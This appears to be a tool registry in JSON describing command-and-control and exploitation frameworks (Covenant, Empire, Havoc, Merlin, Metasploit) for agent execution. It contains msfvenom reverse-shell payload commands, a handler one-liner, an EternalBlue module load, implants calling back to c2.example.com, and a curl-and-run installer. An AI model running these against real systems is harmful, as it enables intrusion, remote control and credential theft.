  {
    "_body": "\n# Covenant — .NET C2 Framework\n\nCovenant is a .NET-based command and control framework designed for red team operations. It features a web-based UI, real-time collaboration, and comprehensive post-exploitation capabilities through its \"grunt\" agents.\n\n## Key Features\n\n- **Web-based UI**: Full graphical interface for C2 operations\n- **Grunt agents**: .NET-based agents with extensive capabilities\n- **Multi-user**: Real-time collaboration with chat and shared sessions\n- **Dynamic compilation**: On-the-fly payload compilation\n- **Task system**: Parallel task execution across grunts\n- **Listener types**: HTTP, HTTPS, and Bridge listeners\n",
    "_source": "covenant.md",
    "allowed-tools": [
      "covenant",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "agent.communication",
      "post.exploitation",
      "payload.generation",
      "realtime.collaboration"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Listener bind address"
        },
        {
          "type": "network.port.number",
          "description": "Listener port"
        },
        {
          "type": "credential.username",
          "description": "Admin username"
        },
        {
          "type": "credential.password",
          "description": "Admin password"
        }
      ],
      "outputs": [
        {
          "type": "agent.session",
          "description": "Grunt agent session",
          "mime": "application/octet-stream"
        },
        {
          "type": "payload.binary",
          "description": "Generated stager/grunt binary",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 512,
        "network": "high",
        "disk_io": "medium"
      }
    },
    "dependencies": [
      "dotnet"
    ],
    "description": ".NET command and control framework for red teaming with real-time collaboration and multi-user support.",
    "examples": [
      {
        "description": "Start Covenant with default settings",
        "command": "covenant"
      },
      {
        "description": "Start Covenant on custom port",
        "command": "covenant --port 8443"
      },
      {
        "description": "Start Covenant with HTTPS",
        "command": "covenant --https --cert /path/to/cert.pfx"
      },
      {
        "description": "Start Covenant with credentials",
        "command": "covenant --username redteam --password SecurePass123"
      },
      {
        "description": "Start Covenant in server-only mode",
        "command": "covenant --server --port 7443"
      },
      {
        "description": "Start Covenant with debug logging",
        "command": "covenant --debug --verbose"
      },
      {
        "description": "Start Covenant and open browser",
        "command": "covenant --open-browser"
      }
    ],
    "execution": {
      "template": "covenant",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout"
    ],
    "global_vars": {
      "lport": "7443",
      "username": "admin",
      "password": "admin123"
    },
    "id": "security-exploit-covenant",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/cobbr/Covenant.git",
        "commands": [
          "git clone https://github.com/cobbr/Covenant.git"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "covenant",
    "namespace": "security:exploit:covenant",
    "parameters": [
      {
        "name": "flag-cert",
        "template_key": "flag-cert",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SSL certificate file path",
        "aliases": [
          "--cert"
        ],
        "flag": "--cert"
      },
      {
        "name": "flag-config",
        "template_key": "flag-config",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Config file path",
        "aliases": [
          "--config"
        ],
        "flag": "--config"
      },
      {
        "name": "flag-debug",
        "template_key": "flag-debug",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Debug mode",
        "aliases": [
          "--debug"
        ],
        "flag": "--debug"
      },
      {
        "name": "flag-https",
        "template_key": "flag-https",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable HTTPS",
        "aliases": [
          "--https"
        ],
        "flag": "--https"
      },
      {
        "name": "flag-open-browser",
        "template_key": "flag-open-browser",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Open browser on startup",
        "aliases": [
          "--open-browser"
        ],
        "flag": "--open-browser"
      },
      {
        "name": "flag-password",
        "template_key": "flag-password",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Admin account password",
        "aliases": [
          "--password"
        ],
        "flag": "--password"
      },
      {
        "name": "flag-port",
        "template_key": "flag-port",
        "type": "integer",
        "required": false,
        "default_value": 7443,
        "description": "HTTP server port",
        "aliases": [
          "--port"
        ],
        "flag": "--port"
      },
      {
        "name": "flag-server",
        "template_key": "flag-server",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Run as server only",
        "aliases": [
          "--server"
        ],
        "flag": "--server"
      },
      {
        "name": "flag-username",
        "template_key": "flag-username",
        "type": "string",
        "required": false,
        "default_value": "admin",
        "description": "Admin account username",
        "aliases": [
          "--username"
        ],
        "flag": "--username"
      },
      {
        "name": "flag-verbose",
        "template_key": "flag-verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose logging",
        "aliases": [
          "--verbose"
        ],
        "flag": "--verbose"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "Show this help message",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Covenant GitHub",
        "url": "https://github.com/cobbr/Covenant"
      },
      {
        "label": "Covenant Wiki",
        "url": "https://github.com/cobbr/Covenant/wiki"
      }
    ],
    "related_tools": [
      "metasploit",
      "empire",
      "sliver"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 512,
      "network": "high",
      "disk_io": "medium"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "agent-session",
        "grunt-stager",
        "harvested-credentials"
      ],
      "consumes": [
        "target-ip",
        "listener-config",
        "grunt-template"
      ]
    }
  },
  {
    "_body": "\n# Empire — PowerShell Post-Exploitation Framework\n\nEmpire (now maintained as PowerShell Empire) is a pure PowerShell post-exploitation agent framework. It provides encrypted C2 communication, modular stagers, and extensive post-exploitation capabilities built on PowerShell scripting.\n\n## Key Features\n\n- **Encrypted C2**: Encrypted communication between agents and server\n- **Multiple stagers**: Dll, launcher, macro, and more\n- **Module system**: Extensive post-exploitation modules\n- **Starkiller UI**: Graphical front-end for Empire\n- **Multi-platform agents**: PowerShell (Windows) and Python (Linux/OSX)\n- **Listener profiles**: HTTP, HTTPS, and SMB listeners\n\n## Architecture\n\n- **Server**: Python-based RESTful C2 server\n- **Client**: PowerShell or python-based agents\n- **Starkiller**: Vue.js GUI for Empire management\n- **Modules**: Post-exploitation, credential theft, lateral movement\n",
    "_source": "empire.md",
    "allowed-tools": [
      "empire",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "post.exploitation",
      "agent.communication",
      "payload.generation",
      "credential.dumping",
      "privilege.escalation"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Listener IP address"
        },
        {
          "type": "network.port.number",
          "description": "Listener port"
        },
        {
          "type": "stager.type",
          "description": "Stager type (dll, launcher, macro, etc.)"
        }
      ],
      "outputs": [
        {
          "type": "command.session",
          "description": "Encrypted C2 agent session",
          "mime": "application/octet-stream"
        },
        {
          "type": "credential.data",
          "description": "Dumped credentials",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "PowerShell-based post-exploitation framework for staged and stageless payloads with encrypted C2 communication.",
    "examples": [
      {
        "description": "Start Empire server",
        "command": "empire server"
      },
      {
        "description": "Start Empire client",
        "command": "empire client"
      },
      {
        "description": "Start server with custom port",
        "command": "empire server --port 443"
      },
      {
        "description": "Start server in headless mode",
        "command": "empire server --headless"
      },
      {
        "description": "Start client with credentials",
        "command": "empire client --username empireadmin --password password123"
      },
      {
        "description": "Server with debug output",
        "command": "empire server -d -v"
      },
      {
        "description": "Server with REST API on custom IP",
        "command": "empire server --restip 10.0.0.1"
      }
    ],
    "execution": {
      "template": "empire server",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "interactive",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "global_vars": {
      "lhost": "0.0.0.0",
      "lport": "1337"
    },
    "id": "security-exploit-empire",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/BC-SECURITY/Empire.git",
        "commands": [
          "git clone https://github.com/BC-SECURITY/Empire.git",
          "cd Empire && ./setup/install.sh"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "empire",
    "namespace": "security:exploit:empire",
    "parameters": [
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Config file path",
        "aliases": [
          "-c",
          "--config"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Debug mode",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-ip",
        "template_key": "flag-ip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Listener IP address",
        "aliases": [
          "--ip"
        ],
        "flag": "--ip"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "headless",
        "template_key": "headless",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Run without interactive console",
        "aliases": [
          "--headless"
        ],
        "flag": "--headless"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "Show this help message",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "launcher",
        "template_key": "launcher",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Launcher stager type",
        "aliases": [
          "--launcher"
        ],
        "flag": "--launcher"
      },
      {
        "name": "password",
        "template_key": "password",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Password for authentication",
        "aliases": [
          "--password"
        ],
        "flag": "--password"
      },
      {
        "name": "port",
        "template_key": "port",
        "type": "integer",
        "required": false,
        "default_value": 1337,
        "description": "Server listener port",
        "aliases": [
          "--port"
        ],
        "flag": "--port"
      },
      {
        "name": "profile",
        "template_key": "profile",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Listener profile name",
        "aliases": [
          "--profile"
        ],
        "flag": "--profile"
      },
      {
        "name": "restip",
        "template_key": "restip",
        "type": "string",
        "required": false,
        "default_value": "0.0.0.0",
        "description": "RESTful API bind IP",
        "aliases": [
          "--restip"
        ],
        "flag": "--restip"
      },
      {
        "name": "subcommand",
        "template_key": "subcommand",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Subcommand: server, client, reset",
        "aliases": []
      },
      {
        "name": "username",
        "template_key": "username",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Username for authentication",
        "aliases": [
          "--username"
        ],
        "flag": "--username"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Empire GitHub",
        "url": "https://github.com/BC-SECURITY/Empire"
      },
      {
        "label": "Empire Documentation",
        "url": "https://bc-security.gitbook.io/empire-wiki/"
      }
    ],
    "related_tools": [
      "metasploit",
      "sliver",
      "covenant",
      "starkiller"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "agent-session",
        "listener",
        "stager-payload",
        "harvested-credentials"
      ],
      "consumes": [
        "target-ip",
        "listener-profile",
        "stager-type"
      ]
    }
  },
  {
    "_body": "\n# Havoc — Modern C2 Framework\n\nHavoc is a modern post-exploitation command and control framework with a native GUI client and team server architecture. It supports multiple agent types, encrypted C2 channels, and integrated reporting for red team operations.\n\n## Architecture\n\n- **Team Server** — Central orchestrator managing agents and operators\n- **Client** — GUI-based operator interface (Qt-based)\n- **Agent** — Implant running on compromised hosts\n- **Listener** — C2 endpoint for agent callbacks\n\n## Common Commands\n\n```bash\n# Start team server\nhavoc server --profile config.yaotl\n\n# Launch client\nhavoc client\n\n# Generate agent\nhavoc generate --listener https --target https://c2.example.com\n```\n",
    "_source": "havoc.md",
    "allowed-tools": [
      "havoc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64"
    ],
    "attack_types": [
      "Exploitation",
      "Execution"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "agent.communication",
      "implant.generation",
      "post.exploitation",
      "command.control.c2",
      "adversary.simulation"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Listener bind address"
        },
        {
          "type": "network.port.number",
          "description": "Listener bind port"
        },
        {
          "type": "payload.type",
          "description": "Payload type (dll, exe, shellcode)"
        }
      ],
      "outputs": [
        {
          "type": "agent.session",
          "description": "Active agent session",
          "mime": "application/octet-stream"
        },
        {
          "type": "implant.binary",
          "description": "Generated implant payload",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Modern post-exploitation command and control framework with a GUI interface, supporting agent communication, payload generation, and team collaboration.",
    "examples": [
      {
        "description": "Start the Havoc team server",
        "command": "havoc server --profile havoc.yaotl"
      },
      {
        "description": "Start the Havoc client GUI",
        "command": "havoc client"
      },
      {
        "description": "Generate a default HTTP implant",
        "command": "havoc generate --listener http --target https://example.com"
      }
    ],
    "execution": {
      "template": "havoc {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout"
    ],
    "id": "security-exploit-havoc",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/HavocFramework/Havoc.git",
        "commands": [
          "git clone https://github.com/HavocFramework/Havoc.git",
          "cd Havoc && make"
        ]
      }
    ],
    "items": [
      "Shell",
      "Hash"
    ],
    "mitre_ids": [
      "T1071",
      "T1573"
    ],
    "name": "havoc",
    "namespace": "security:exploit:havoc",
    "parameters": [
      {
        "name": "teamserver-host",
        "type": "string",
        "required": false,
        "description": "Team server host address",
        "aliases": [
          "--teamserver-host"
        ],
        "flag": "--teamserver-host"
      },
      {
        "name": "teamserver-port",
        "type": "integer",
        "required": false,
        "description": "Team server port",
        "aliases": [
          "--teamserver-port"
        ],
        "flag": "--teamserver-port"
      },
      {
        "name": "flag-v",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "profile",
        "type": "string",
        "required": false,
        "description": "C2 profile configuration file",
        "aliases": [
          "--profile"
        ],
        "flag": "--profile"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Havoc GitHub",
        "url": "https://github.com/HavocFramework/Havoc"
      },
      {
        "label": "Havoc Documentation",
        "url": "https://havocframework.com/docs"
      }
    ],
    "related_tools": [
      "sliver",
      "covenant",
      "empire",
      "mythic"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "command-and-control",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "implant-binary",
        "agent-session",
        "c2-listener"
      ],
      "consumes": [
        "target-ip",
        "target-port",
        "implant-profile"
      ]
    }
  },
  {
    "_body": "\n# Merlin — Go-Based C2 Framework\n\nMerlin is a cross-platform post-exploitation C2 framework written in Go, providing HTTP/2, gRPC, and WebSocket-based communication between the server and agents. It supports multiple operating systems and is designed for red team operations.\n\n## Protocol Support\n\n| Protocol | Description |\n|----------|-------------|\n| HTTP/2 | Encrypted C2 channel over HTTP/2 |\n| gRPC | Bi-directional streaming with protocol buffers |\n| WebSocket | Real-time full-duplex communication |\n\n## Common Commands\n\n```bash\n# Server setup\nmerlin-server -i 0.0.0.0 -p 443\n\n# Generate agent and deploy\n# The agent binary connects back with:\nmerlin-agent -s https://c2.example.com:443 -sleep 30s -jitter 30%\n\n# Interactive shell from server\n# Once agent checks in, use 'interact' to open a session\n```\n",
    "_source": "merlin.md",
    "allowed-tools": [
      "merlin",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Execution"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "agent.communication",
      "command.control.c2",
      "implant.generation",
      "post.exploitation",
      "adversary.simulation"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Server bind address"
        },
        {
          "type": "network.port.number",
          "description": "Server listen port"
        },
        {
          "type": "payload.type",
          "description": "Agent type (HTTP2, gRPC, WebSocket)"
        }
      ],
      "outputs": [
        {
          "type": "agent.session",
          "description": "Agent session",
          "mime": "application/octet-stream"
        },
        {
          "type": "implant.binary",
          "description": "Generated Go implant binary",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Cross-platform post-exploitation C2 framework written in Go, supporting HTTP/2, gRPC, and WebSocket communication for agent management.",
    "examples": [
      {
        "description": "Start Merlin server on default port",
        "command": "merlin-server --ip 0.0.0.0 --port 443"
      },
      {
        "description": "Start Merlin server with verbose logging",
        "command": "merlin-server --ip 0.0.0.0 --port 8443 --verbose"
      },
      {
        "description": "Generate a Windows agent",
        "command": "merlin-agent-windows-amd64.exe -s https://c2.example.com:443"
      }
    ],
    "execution": {
      "template": "merlin-server {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout"
    ],
    "id": "security-exploit-merlin",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/Ne0nd0g/merlin.git",
        "commands": [
          "git clone https://github.com/Ne0nd0g/merlin.git"
        ]
      }
    ],
    "items": [
      "Shell",
      "Hash"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "merlin",
    "namespace": "security:exploit:merlin",
    "parameters": [
      {
        "name": "flag-i",
        "type": "string",
        "required": false,
        "description": "Server bind IP address",
        "aliases": [
          "-i",
          "--ip"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-p",
        "type": "integer",
        "required": false,
        "description": "Server port",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-parallel",
        "type": "integer",
        "required": false,
        "description": "Number of parallel jobs",
        "aliases": [
          "-parallel"
        ],
        "flag": "-parallel"
      },
      {
        "name": "flag-verbose",
        "type": "boolean",
        "required": false,
        "description": "Enable verbose logging",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-sleep",
        "type": "string",
        "required": false,
        "description": "Agent sleep interval (e.g. 10s, 1m)",
        "aliases": [
          "-s",
          "--sleep"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-jitter",
        "type": "string",
        "required": false,
        "description": "Agent jitter percentage (e.g. 30%%)",
        "aliases": [
          "-j",
          "--jitter"
        ],
        "flag": "-j"
      },
      {
        "name": "flag-k",
        "type": "string",
        "required": false,
        "description": "Kill date for agent",
        "aliases": [
          "-k",
          "--killdate"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-proto",
        "type": "string",
        "required": false,
        "description": "Protocol (http2, grpc, ws)",
        "aliases": [
          "-proto"
        ],
        "flag": "-proto"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Merlin GitHub",
        "url": "https://github.com/Ne0nd0g/merlin"
      }
    ],
    "related_tools": [
      "sliver",
      "covenant",
      "mythic",
      "pupy"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "command-and-control",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "implant-binary",
        "agent-session",
        "c2-listener"
      ],
      "consumes": [
        "target-ip",
        "target-port",
        "implant-profile"
      ]
    }
  },
  {
    "_body": "\n# Metasploit — Exploitation Framework\n\nMetasploit is the most widely used exploitation framework, providing a comprehensive suite for exploit development, payload generation, and post-exploitation. It includes thousands of modules spanning all phases of penetration testing.\n\n## Key Modules\n\n- **Exploit modules**: Pre-built exploits targeting known vulnerabilities\n- **Payload modules**: Shellcode for various architectures and platforms  \n- **Auxiliary modules**: Scanners, fuzzers, and recon tools\n- **Post modules**: Post-exploitation tasks (privilege escalation, credential dumping)\n- **Encoder modules**: Payload encoding for IDS/AV evasion\n- **NOP generators**: Generate NOP sleds for exploit development\n\n## Common Commands\n\n| Command | Description |\n|---------|-------------|\n| `use <module>` | Load a specific module |\n| `set <option> <value>` | Set a module option |\n| `run` / `exploit` | Execute the loaded module |\n| `show options` | Display module configuration |\n| `sessions -l` | List active sessions |\n| `sessions -i <id>` | Interact with a session |\n| `search <term>` | Search across all modules |\n| `db_nmap <args>` | Run nmap through metasploit DB |\n\n## Payload Generation with msfvenom\n\n```bash\nmsfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe\nmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f py -o shell.py\nmsfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 R > payload.apk\n```\n",
    "_source": "metasploit.md",
    "allowed-tools": [
      "metasploit",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "exploit.session",
        "description": "Active meterpreter or shell session",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      },
      {
        "type": "exploit.payload",
        "description": "Generated payload binary",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      },
      {
        "type": "exploit.loot",
        "description": "Collected loot data",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "exploit.development",
      "payload.generation",
      "post.exploitation",
      "agent.communication",
      "vulnerability.scanning"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address"
        },
        {
          "type": "network.port.number",
          "description": "Target port number"
        },
        {
          "type": "exploit.module.name",
          "description": "Metasploit module to use"
        },
        {
          "type": "payload.type",
          "description": "Payload type (reverse shell, bind shell, etc.)"
        }
      ],
      "outputs": [
        {
          "type": "session.shell",
          "description": "Interactive shell session",
          "mime": "text/plain"
        },
        {
          "type": "payload.binary",
          "description": "Generated payload",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 256,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Full-featured exploitation framework with thousands of modules for exploit development, payload generation, and post-exploitation.",
    "examples": [
      {
        "description": "Start console with resource script",
        "command": "msfconsole -q -r /path/to/resource.rc"
      },
      {
        "description": "Run single command from CLI",
        "command": "msfconsole -q -x \"use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit\""
      },
      {
        "description": "Quiet mode with database",
        "command": "msfconsole -q -d msf"
      },
      {
        "description": "Generate payload with msfvenom",
        "command": "msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o payload.elf"
      },
      {
        "description": "List all exploits",
        "command": "msfconsole -q -x \"show exploits\""
      },
      {
        "description": "Load a specific module",
        "command": "msfconsole -q -x \"use exploit/windows/smb/ms17_010_eternalblue\""
      },
      {
        "description": "Verbose debug mode",
        "command": "msfconsole -q -v -x \"db_nmap -sV 10.0.0.0/24\""
      }
    ],
    "execution": {
      "template": "msfconsole -q -x \"{command}\"",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "stealth",
      "network-intensive"
    ],
    "global_vars": {
      "command": "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; exploit"
    },
    "id": "security-exploit-metasploit",
    "install": [
      {
        "method": "apt",
        "package_name": "metasploit-framework",
        "commands": [
          "curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod +x msfinstall && ./msfinstall"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1203",
      "T1059",
      "T1190"
    ],
    "name": "metasploit",
    "namespace": "security:exploit:metasploit",
    "parameters": [
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Quiet mode (suppress banner)",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Resource file to execute",
        "aliases": [
          "-r",
          "--resource"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Command to execute",
        "aliases": [
          "-x",
          "--command"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-L",
        "template_key": "flag-L",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Log file path",
        "aliases": [
          "-L",
          "--log"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Database backend to use",
        "aliases": [
          "-d",
          "--database"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Config file path",
        "aliases": [
          "-c",
          "--config"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Module path to load",
        "aliases": [
          "-m",
          "--module-path"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Analyze module",
        "aliases": [
          "-a",
          "--analyze"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Environment",
        "aliases": [
          "-e",
          "--environment"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Metasploit GitHub",
        "url": "https://github.com/rapid7/metasploit-framework"
      },
      {
        "label": "Metasploit Documentation",
        "url": "https://docs.metasploit.com/"
      }
    ],
    "related_tools": [
      "searchsploit",
      "empire",
      "sliver",
      "covenant"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 256,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-session",
        "meterpreter-session",
        "payload-binary",
        "loot-data"
      ],
      "consumes": [
        "target-ip",
        "target-port",
        "exploit-module",
        "payload-type"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "msfconsole.md",
    "allowed-tools": [
      "msfconsole",
      "ruby",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or command output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "network_traffic"
      ],
